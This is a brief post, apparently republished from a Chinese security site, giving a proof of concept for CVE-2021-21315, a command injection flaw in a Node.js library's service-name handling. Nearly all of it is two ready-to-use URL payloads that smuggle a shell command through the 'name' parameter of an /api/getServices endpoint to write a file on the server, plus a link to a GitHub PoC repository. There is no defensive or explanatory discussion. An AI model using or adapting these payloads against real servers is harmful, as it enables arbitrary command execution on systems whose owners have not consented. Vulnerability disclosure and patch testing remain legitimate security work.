CVE-2021-21315 Node.JS OS命令执行

文章来源：安全鸭

CVE-2021-21315 Node.JS OS sanitize service Parameters Command Injection

[PoC]

[Victim Site]/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)

[Victim Site]/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt)

https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC